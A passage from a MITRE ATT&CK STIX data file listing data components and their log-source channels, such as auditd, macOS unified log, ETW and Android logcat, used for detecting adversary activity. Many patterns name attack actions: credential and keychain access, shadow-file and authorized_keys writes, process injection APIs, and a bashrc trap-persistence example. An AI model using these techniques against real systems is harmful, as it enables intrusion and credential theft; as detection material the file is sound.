                    "channel": "write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "config-change: timezone or ntp server configuration change after a time query command"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "replace existing dylibs"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Configuration changes to boot variables, startup image paths, or checksum verification failures"
                },
                {
                    "name": "firmware:update",
                    "channel": "Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation"
                },
                {
                    "name": "IntegrityCheck:ImageValidation",
                    "channel": "Checksum or hash mismatch between running image and known-good vendor-provided image"
                },
                {
                    "name": "macos:osquery",
                    "channel": "File modifications in ~/Library/Preferences/"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/write to /etc/pam.d/*"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Modification of /Library/Security/SecurityAgentPlugins"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Modifications to Mail.app plist files controlling message rules"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "write: Modification of structured stored data by suspicious processes"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Unexpected log entries or malformed SQL operations in databases"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected creation or modification of stored data files in protected directories"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "openat, write, rename, unlink"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file encrypted|new file with .encrypted extension|disk write burst"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "rename .vmdk to .*.locked|datastore write spike"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Mach-O binary modified or LC_LOAD_DYLIB segment inserted"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Modified application plist or binary replacement in /Applications"
                },
                {
                    "name": "esxi:shell",
                    "channel": "admin command usage"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "startup-config"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "File creation or overwrite in common web-hosting folders"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Unauthorized file modifications within datastore volumes via shell access or vCLI"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings"
                },
                {
                    "name": "FirmwareLogs:Update",
                    "channel": "Unexpected firmware or image updates modifying cryptographic modules"
                },
                {
                    "name": "fs:plist",
                    "channel": "/var/root/Library/Preferences/com.apple.loginwindow.plist"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "modification of existing .service file"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "Unexpected modification to lsass.exe or cryptdll.dll"
                },
                {
                    "name": "networkconfig",
                    "channel": "unexpected OS image file upload or modification events"
                },
                {
                    "name": "network:runtime",
                    "channel": "checksum or runtime memory verification failures"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "write"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, write: Modification of /boot/grub/* or /boot/efi/*"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Modification of /System/Library/CoreServices/boot.efi"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Modification of LaunchAgents or LaunchDaemons plist files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "chmod"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "rename,chmod"
                },
                {
                    "name": "fs:fsevents",
                    "channel": "create/write/rename under user-writable paths"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Changes to LSFileQuarantineEnabled field in Info.plist"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file access to /usr/lib/cron/tabs/ and cron output files"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "modification of crontab or local.sh entries"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Configuration file modified or replaced on network device"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Plist modifications containing virtualization run configurations"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file access to /usr/lib/cron/at and job execution path"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "binary modified or replaced"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "binary or module replacement event"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Configuration change events referencing encryption, TLS/SSL, or IPSec settings"
                },
                {
                    "name": "networkdevice:firmware",
                    "channel": "Unexpected firmware update or image modification affecting crypto modules"
                },
                {
                    "name": "fs:fsevents",
                    "channel": "file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags"
                },
                {
                    "name": "auditd:FILE",
                    "channel": "Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Modification of /Library/Preferences/com.apple.loginwindow plist"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Modification of user shell profile or trap registration via echo/redirection (e.g., echo \"trap 'malicious_cmd' INT\" >> ~/.bashrc)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "File write or append to .zshrc, .bash_profile, .zprofile, etc."
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "chmod, write, create, open"
                },
                {
                    "name": "fs:fsevents",
                    "channel": "Extensions"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, write: File writes to application binaries or libraries at runtime"
                },
                {
                    "name": "macos:osquery",
                    "channel": "CALCULATE: Mismatch in file integrity of critical macOS applications"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "file write operations in /Library/WebServer/Documents"
                },
                {
                    "name": "fs:launchdaemons",
                    "channel": "file_modify"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "write: File modifications to /etc/systemd/sleep.conf or related power configuration files"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "write: File modification to com.apple.PowerManagement.plist or related system preference files"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "modification of existing LaunchAgents plist"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "create/modify dylib in monitored directories"
                },
                {
                    "name": "WinEventLog:CodeIntegrity",
                    "channel": "EventCode=3033"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "write operation on /etc/passwd or /etc/shadow"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "modification to /var/db/dslocal/nodes/Default/users/"
                },
                {
                    "name": "linux:osquery",
                    "channel": "New or modified kernel object files (.ko) within /lib/modules directory"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table"
                },
                {
                    "name": "networkdevice:audit",
                    "channel": "SNMP configuration changes, such as enabling read/write access or modifying community strings"
                },
                {
                    "name": "macos:osquery",
                    "channel": "write"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "mount or losetup commands creating hidden or encrypted FS"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Hidden volume attachment or modification events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Suspicious plist edits for volume mounting behavior"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Configuration changes to startup image paths, boot loader parameters, or debug flags"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Checksum/hash mismatch between device OS image and baseline known-good version"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "file writes"
                },
                {
                    "name": "m365:defender",
                    "channel": "OfficeTelemetry or DLP"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "Filesystem Access Logging"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration"
                },
                {
                    "name": "FirmwareLogs:Update",
                    "channel": "Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules"
                },
                {
                    "name": "m365:office",
                    "channel": "Anomalous editing of invoice or payment document templates"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "truncate, unlink, write"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db"
                },
                {
                    "name": "linux:fim",
                    "channel": "Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "write, rename"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/write to /proc/*/mem or /proc/*/maps"
                },
                {
                    "name": "sysdig:file",
                    "channel": "evt.type=write"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "rule definitions written to emond rule plists"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Configuration changes referencing older image versions or unexpected boot parameters"
                },
                {
                    "name": "FileIntegrity:ImageValidation",
                    "channel": "Hash/checksum mismatch against baseline vendor-provided OS image versions"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "write or rename to /etc/systemd/system or /etc/init.d"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file write to launchd plist paths"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "modification of entrypoint scripts or init containers"
                },
                {
                    "name": "fs:plist_monitoring",
                    "channel": "/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "chmod/chown to /etc/passwd or /etc/shadow"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open/write syscalls targeting web directory files"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Terminal/Editor processes modifying web folder"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "/var/log/vmkernel.log"
                },
                {
                    "name": "AndroidLogs:FileSystem",
                    "channel": "Modification to /system/etc/init/ or /vendor/etc/init/ boot-time scripts"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Creation or modification of LaunchDaemon or LaunchAgent plist in /System/Library/LaunchDaemons, /Library/LaunchDaemons, or /Library/LaunchAgents"
                },
                {
                    "name": "android:logcat",
                    "channel": "INSERT or UPDATE of image/*, audio/*, video/* via ContentResolver with same URI re-written within short window; abnormal MIME/container change"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application inserts, updates, deletes, hides, or marks message records in SMS store or messaging database immediately after SMS receive or send event"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application inserts, updates, deletes, or rewrites call-log records immediately after call-control action to conceal, alter, or synthesize call history"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "odification of ~/.ssh/authorized_keys or credential files"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0018",
                    "external_id": "DC0018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.775Z",
            "name": "Host Status",
            "description": "Logging, messaging, and other artifacts that highlight the health and operational state of host-based security sensors, such as Endpoint Detection and Response (EDR) agents, antivirus software, logging services, and system monitoring tools. Monitoring sensor health is essential for detecting misconfigurations, sensor failures, tampering, or deliberate security control evasion by adversaries.\n\n*Data Collection Measures:*\n\n- Windows Event Logs:\n    - Event ID 1074 (System Shutdown): Detects unexpected system reboots/shutdowns.\n    - Event ID 6006 (Event Log Stopped): Logs when Windows event logging is stopped.\n    - Event ID 16 (Sysmon): Detects configuration state changes that may indicate log tampering.\n    - Event ID 12 (Windows Defender Status Change) \u2013 Detects changes in Windows Defender state.\n- Linux/macOS Monitoring:\n    - `/var/log/syslog`, `/var/log/auth.log`, `/var/log/kern.log`\n    - Journald (journalctl) for kernel and system alerts.\n- Endpoint Detection and Response (EDR) Tools:\n    - Monitor agent health status, detect sensor tampering, and alert on missing telemetry.\n- Mobile Threat Intelligence Logs:\n    - Samsung Knox, SafetyNet, iOS Secure Enclave provide sensor health status for mobile endpoints.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "mobile-attack",
                "enterprise-attack"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "networkdevice:syslog",
                    "channel": "no logging host, no aaa new-model, no snmp-server, commit"
                },
                {
                    "name": "android:appops",
                    "channel": "ACCESS_FINE_LOCATION|NEARBY_DEVICES|BLUETOOTH_SCAN used in close proximity to network-context queries"
                },
                {
                    "name": "AndroidAttestation:SafetyNet",
                    "channel": "SafetyNet attestation with CTSProfileMatch=false or BasicIntegrity=false"
                },
                {
                    "name": "AndroidAttestation:VerifiedBoot",
                    "channel": "Verified Boot or dm-verity reports partition hash mismatch, non-green boot state, or integrity failure"
                },
                {
                    "name": "AndroidLogs:Crash",
                    "channel": "Crash or abnormal restart of privileged system services (for example, system_server, mediaserver, installd) followed shortly by new privileged process activity or binder connections from a single app UID"
                },
                {
                    "name": "AndroidLogs:Crash",
                    "channel": "Application or system process crash/restart patterns temporally associated with remote service communications"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "firmware_update, kexec_load"
                },
                {
                    "name": "AWS:CloudMetrics",
                    "channel": "Autoscaling, memory/cpu alarms, or instance unhealthiness"
                },
                {
                    "name": "AWS:CloudWatch",
                    "channel": "Sustained spike in CPU usage on EC2 instance with web service role"
                },
                {
                    "name": "AWS:CloudWatch",
                    "channel": "StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)"
                },
                {
                    "name": "AWS:CloudWatch",
                    "channel": "Sustained EC2 CPU usage above normal baseline"
                },
                {
                    "name": "AWS:CloudWatch",
                    "channel": "NetworkOut spike beyond baseline"
                },
                {
                    "name": "AWS:CloudWatch",
                    "channel": "Sudden spike in network output without a corresponding inbound request ratio"
                },
                {
                    "name": "AWS:CloudWatch",
                    "channel": "Unusual CPU burst or metric anomalies"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Powering off or restarting host"
                },
                {
                    "name": "iOS:MDMLog",
                    "channel": "Device risk, compliance, or security posture changes after trusted host pairing or developer-state transition"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "code signature validation failure / exec of invalidly-signed payload from sandboxed app"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Application crash logs, watchdog terminations, or abnormal execution events associated with service communication"
                },
                {
                    "name": "journald:boot",
                    "channel": "Secure Boot failure, firmware version change"
                },
                {
                    "name": "kubernetes:events",
                    "channel": "CrashLoopBackOff, OOMKilled, container restart count exceeds threshold"
                },
                {
                    "name": "linux:procfs",
                    "channel": "Sustained high /proc/[pid]/stat usage"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Out of memory killer invoked or kernel panic entries"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Service stop or disable messages for security tools not reflected in SIEM alerts"
                },
                {
                    "name": "linux:syslog",
                    "channel": "system is powering down"
                },
                {
                    "name": "macos:osquery",
                    "channel": "interface_details "
                },
                {
                    "name": "macos:syslog",
                    "channel": "Hardware UUID or device list drift"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Web service process (e.g., httpd) entering crash loop or consuming excessive CPU"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Spike in CPU or memory use from non-user-initiated processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "network stack resource exhaustion, tcp_accept queue overflow, repeated resets"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "EFI firmware integrity check failed"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "System Integrity Protection (SIP) state reported as disabled"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "System shutdown or reboot requested"
                },
                {
                    "name": "MDM:DeviceIntegrity",
                    "channel": "jailbreak/root compromise indicators or integrity attestation failures enabling process visibility"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "System reboot scheduled or performed"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "TCP: possible SYN flood or backlog limit exceeded"
                },
                {
                    "name": "OEMAttestation:Knox",
                    "channel": "Samsung Knox attestation shows attestation_state=COMPROMISED or warranty bit set"
                },
                {
                    "name": "prometheus:metrics",
                    "channel": "Container CPU/Memory usage exceeding threshold"
                },
                {
                    "name": "sar:network",
                    "channel": "Outbound network saturation with minimal process activity"
                },
                {
                    "name": "Sensor Health",
                    "channel": "None"
                },
                {
                    "name": "Windows:perfmon",
                    "channel": "Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)"
                },
                {
                    "name": "Windows:perfmon",
                    "channel": "High sustained CPU usage by a single process"
                },
                {
                    "name": "Windows:perfmon",
                    "channel": "Sudden spike in outbound throughput without corresponding inbound traffic"
                },
                {
                    "name": "Windows:perfmon",
                    "channel": "Sudden spikes in CPU/Memory usage linked to specific application processes"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-TCPIP",
                    "channel": "Connection queue overflow or failure to allocate TCP state object"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=1166, 7045"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=1074"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=6006"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=16"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--8b4ca854-ac08-47da-b24f-601b28a39aff",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0026",
                    "external_id": "DC0026"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Image Deletion",
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                {
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                {
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                {
                    "name": "auditd:SYSCALL",
                    "channel": "mmap, ptrace, process_vm_writev or direct memory ops"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "API call to AddMonitor invoked by non-installer process"
                },
                {
                    "name": "etw:Microsoft-Windows-Win32k",
                    "channel": "SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "unshare, mount, keyctl, setns syscalls executed by containerized processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "audio APIs"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-COM/Operational",
                    "channel": "CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "com.apple.securityd, com.apple.tccd"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "send, recv, write: Abnormal interception or alteration of transmitted data"
                },
                {
                    "name": "macos:osquery",
                    "channel": "CALCULATE: Integrity validation of transmitted data via hash checks"
                },
                {
                    "name": "ETW:Token",
                    "channel": "token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "API Calls"
                },
                {
                    "name": "etw:Microsoft-Windows-DotNETRuntime",
                    "channel": "AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime"
                },
                {
                    "name": "EDR:memory",
                    "channel": "VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad"
                },
                {
                    "name": "auditd:MMAP",
                    "channel": "memory region with RWX permissions allocated"
                },
                {
                    "name": "snmp:trap",
                    "channel": "management queries"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "Describe* or List* API calls"
                },
                {
                    "name": "etw:Microsoft-Windows-Win32k",
                    "channel": "SendMessage, PostMessage, LVM_*"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "sudo or pkexec invocation"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "authorization execute privilege requests"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "NtQueryInformationProcess"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "ptrace: Processes invoking ptrace with PTRACE_TRACEME flag"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Remote access API calls and file uploads"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Execution of modified binaries or abnormal library load sequences"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "access or unlock attempt to keychain database"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of input detection APIs (e.g., CGEventSourceKeyState)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "mount system call with bind or remap flags"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "Decrypt"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-File",
                    "channel": "ZwSetEaFile or ZwQueryEaFile function calls"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "fork/clone/daemon syscall tracing"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "Detached process execution with no associated parent"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace, mmap, mprotect, open, dlopen"
                },
                {
                    "name": "ETW:ProcThread",
                    "channel": "api_call: CreateProcessWithTokenW, CreateProcessAsUserW"
                },
                {
                    "name": "EDR:memory",
                    "channel": "MemoryWriteToExecutable"
                },
                {
                    "name": "ETW:Token",
                    "channel": "api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx"
                },
                {
                    "name": "etw:Microsoft-Windows-Security-Auditing",
                    "channel": "api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "API calls"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace, mmap, process_vm_writev"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of dd or sed targeting /proc/*/mem"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx"
                },
                {
                    "name": "ETW",
                    "channel": "Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses"
                },
                {
                    "name": "EDR:file",
                    "channel": "SetFileTime"
                },
                {
                    "name": "AndroidLogs:Kernel",
                    "channel": "Unprivileged app process (app UID, non-system) invoking sensitive syscalls or device interfaces associated with privilege escalation (setuid, ptrace, perf_event_open, vulnerable drivers)"
                },
                {
                    "name": "android:logcat",
                    "channel": "SELinux AVC for execmem/execute_no_trans/mprotect following recent writes by same UID"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "mmap/mprotect transitions to PROT_EXEC for pages associated with recently written files"
                },
                {
                    "name": "android:logcat",
                    "channel": "QUERY on exported ContentProviders of other packages (content://<other.pkg>/*) or MediaStore scoped queries immediately preceding file reads"
                },
                {
                    "name": "android:logcat",
                    "channel": "ClipboardManager (addOnPrimaryClipChangedListener|getPrimaryClip|getPrimaryClipDescription) invoked by <pkg>"
                },
                {
                    "name": "android:logcat",
                    "channel": "AccessibilityService connected|TYPE_VIEW_TEXT_CHANGED|TYPE_VIEW_FOCUSED events for other packages"
                },
                {
                    "name": "android:logcat",
                    "channel": "TYPE_WINDOW_STATE_CHANGED / TYPE_VIEW_FOCUSED shows foreign target package in foreground"
                },
                {
                    "name": "android:logcat",
                    "channel": "PackageManager getInstalledApplications|getInstalledPackages|getPackagesHoldingPermissions burst for <pkg>. TYPE_WINDOW_STATE_CHANGED shows foreground app then immediate package queries by <pkg>"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "LSApplicationWorkspace or canOpenURL probe bursts for many URL schemes"
                },
                {
                    "name": "android:logcat",
                    "channel": "getInstalledPackages/getPackagesHoldingPermissions with filters for known security/MDM/VPN package names. Queries to isDeviceOwnerApp/isProfileOwnerApp/getActiveAdmins/getPermissionGrantState. Requests list of enabled services or monitors TYPE_WINDOW_STATE_CHANGED to time checks"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Queries indicating MDM profile presence, supervised state, restrictions read. LSApplicationWorkspace enumeration or app proxy queries referencing security vendors"
                },
                {
                    "name": "android:logcat",
                    "channel": "ACTION_VIEW redirect_uri handled by unexpected package"
                },
                {
                    "name": "android:logcat",
                    "channel": "canOpenURL/LSApplicationWorkspace resolved to unexpected bundle for redirect_uri"
                },
                {
                    "name": "android:logcat",
                    "channel": "query() against MediaStore/DocumentsContract URIs (Images/Video/Audio/Downloads/DocumentTree)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "enumeratorForContainerItemIdentifier / itemForIdentifier across multiple containers/providers"
                },
                {
                    "name": "android:logcat",
                    "channel": "wifiservice startScan / scanResults retrieved repeatedly or by unexpected package"
                },
                {
                    "name": "android:logcat",
                    "channel": "bluetoothmanager startDiscovery / getBondedDevices / scan callback bursts by package"
                },
                {
                    "name": "android:logcat",
                    "channel": "telephony cell info enumeration bursts (neighboring/all cell info) by package"
                },
                {
                    "name": "android:logcat",
                    "channel": "repeated queries or dumps related to running tasks/services/process state by same package/UID (e.g., getRunningAppProcesses, running services/task inspection)"
                },
                {
                    "name": "android:logcat",
                    "channel": "Application accesses android.os.Build fields or device configuration APIs (MODEL, MANUFACTURER, VERSION.SDK_INT, HARDWARE)"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Application invokes UIDevice queries (model, systemVersion, name)"
                },
                {
                    "name": "android:logcat",
                    "channel": "Invocation of MediaRecorder.start(), AudioRecord.startRecording(), or VOICE_CALL audio source"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Invocation of AVAudioRecorder, AVCaptureSession, or related audio capture framework calls"
                },
                {
                    "name": "android:logcat",
                    "channel": "Application invokes LocationManager, FusedLocationProviderClient, or GPS/location sensor APIs"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Application activates CoreLocation services or CLLocationManager APIs"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Framework-based networking usage spikes or uncommon networking stacks observed by agent telemetry (e.g., repeated URLSession/OkHttp-like patterns) without corresponding foreground/user interaction"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Agent-observable telephony subscription/state API signals indicating SIM/eSIM subscription change (vendor-agnostic: 'telephony subscription changed')"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Accessibility framework usage patterns such as event subscription, performAction invocation, node traversal, text change observation, or overlay/window presentation correlated to app identity"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Browser/WebView framework usage indicating external URL load, script execution enablement, file download initiation, intent handoff, or package install prompt sequence"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Observed device-service, trust-service, backup/service interaction, or other privileged framework activity associated with physical host access"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Connectivity manager, telephony, Wi-Fi, network callback, or location-provider framework reports repeated unavailable, disconnected, suspended, or degraded state transitions"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Observed network-path, reachability, DNS, transport, or location-provider framework reports repeated unavailable or failed state near active device use"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Content resolver, document provider, media store, storage access framework, bulk stream processing, or repeated crypto-adjacent framework use observed during multi-file transformation"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Known application begins first-seen or expanded use of content providers, account services, accessibility, package services, cryptographic routines, dynamic loading, or other framework interactions after update/install"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Known application begins first-seen or expanded use of protected frameworks, account services, background task APIs, crypto/network service APIs, or other runtime behaviors after update/install"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Known application begins first-seen or expanded use of account services, accessibility, content providers, dynamic loading, package services, WebView bridges, crypto/network APIs, or advertising/telemetry-adjacent framework behavior after install or update"
                },
                {
